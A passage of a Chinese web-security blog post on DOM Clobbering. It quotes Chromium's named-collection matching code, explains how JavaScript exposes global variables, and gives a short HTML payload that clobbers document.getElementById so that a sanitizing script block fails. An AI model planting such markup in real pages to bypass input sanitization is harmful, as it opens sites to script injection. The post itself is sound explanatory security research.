以及,虽然 cookie 不能被完全字符串化控制,但是可以被 Clobbered 的问题在2年前也有人报告过这个相关的问题 document.cookie DOM property can be clobbered using DOM node named cookie

只不过目前的主流浏览器都是”Safari, Chrome and Firefox all behave the same here”。

Document Collection

涉及到 Collection 的 Document 部分:

DocumentNameCollection::ElementMatches

bool DocumentNameCollection::ElementMatches(const HTMLElement& element) const {
  // Match images, forms, embeds, objects and iframes by name,
  // object by id, and images by id but only if they have
  // a name attribute (this very strange rule matches IE)
  auto* html_embed_element = DynamicTo<HTMLEmbedElement>(&element);
  if (IsA<HTMLFormElement>(element) || IsA<HTMLIFrameElement>(element) ||
      (html_embed_element && html_embed_element->IsExposed()))
    return element.GetNameAttribute() == name_;

  auto* html_image_element = DynamicTo<HTMLObjectElement>(&element);
  if (html_image_element && html_image_element->IsExposed())
    return element.GetNameAttribute() == name_ ||
           element.GetIdAttribute() == name_;
  if (IsA<HTMLImageElement>(element)) {
    const AtomicString& name_value = element.GetNameAttribute();
    return name_value == name_ ||
           (element.GetIdAttribute() == name_ && !name_value.IsEmpty());
  }
  return false;
}

Window Collection

涉及到 Collection 的 Window 部分:

WindowNameCollection::ElementMatches

bool WindowNameCollection::ElementMatches(const Element& element) const {
  // Match only images, forms, embeds and objects by name,
  // but anything by id
  if (IsA<HTMLImageElement>(element) || IsA<HTMLFormElement>(element) ||
      IsA<HTMLEmbedElement>(element) || IsA<HTMLObjectElement>(element)) {
    if (element.GetNameAttribute() == name_)
      return true;
  }
  return element.GetIdAttribute() == name_;
}

Bouns

Tip 1 Global Scope

由于 Dom Clobbering 利用方式之一就是 hook 全局作用域下的变量,又由于 Javascript 是一门十分神奇的语言,所以我们需要注意如下几点

显式声明

<script>
  var a = 1;
  let b = 2;
  var c = function () {};
  console.log(window.a);	//1
  console.log(window.b);	//undefined
  console.log(window.c);	//ƒ () {}
</script>

隐式声明

<script>
  function test(a){
    b = a + 1;
  }
  test(1);
  console.log(window.b);	//2
</script>

不带有 声明关键字 的变量,Javascript 会自动挂载到全局作用域上。

let & var

ES6 中新增了 let 命令,用来声明变量。它的用法类似于 var ,但是所声明的变量,只在 let 命令所在的代码块内有效。详细可以参考 let 基本用法

{
  let a = 10;
  var b = 1;
}

a // ReferenceError: a is not defined.
b // 1

上面代码在代码块之中,分别用 letvar 声明了两个变量。然后在代码块之外调用这两个变量,结果 let 声明的变量报错, var 声明的变量返回了正确的值。这表明, let 声明的变量只在它所在的代码块有效。

而且有些很奇妙的操作,比如:

let a = b = 6;
window.a;	//undefined
window.b;	//6

Tip 2 Overwrite function

虽然可以 Clobber 函数,但是目前我没找到什么方法让他执行我们 Clobber 的结果,或者说目前貌似也没有办法通过标签来定义一个函数,所以只能是引起一个报错,

<img id='getElementById' name='getElementById'>
<script>
  var a = document.getElementById('x');	//Uncaught TypeError: document.getElementById is not a function
</script>

虽然只能引起报错,但是在一定场景下我们可以利用这个来绕过一些判断,例如:

<img id='getElementById' name='getElementById'>
<script>
  var a = document.getElementById('x');	//Uncaught TypeError: document.getElementById is not a function
  //We must use sanitize a here.
</script>
<script>
  //We have sanitized a. We can trust a now!
  //Do something with a.
</script>

第一个 JS 代码块虽然引起了报错,但是不会引起 JS 完全停止执行,JS 会跳过这个报错的代码块,执行下一个代码块。

Tip 3 Prototype Pollution

原型链污染可以吗?

我目前尝试的方法还没成功,如果师傅尝试成功了一定要跟我分享!


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

白帽子讲Web安全(纪念版)

白帽子讲Web安全(纪念版)

吴翰清 / 电子工业出版社 / 2014-6 / 69.00元

互联网时代的数据安全与个人隐私受到前所未有的挑战,各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据?《白帽子讲Web 安全(纪念版)》将带你走进Web 安全的世界,让你了解Web 安全的方方面面。黑客不再神秘,攻击技术原来如此,小网站也能找到适合自己的安全道路。大公司如何做安全,为什么要选择这样的方案呢?在《白帽子讲Web 安全(纪念版)》中都能找到答案。详细的剖析,让你不仅能“知其然”,......一起来看看 《白帽子讲Web安全(纪念版)》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

MD5 加密
MD5 加密

MD5 加密工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换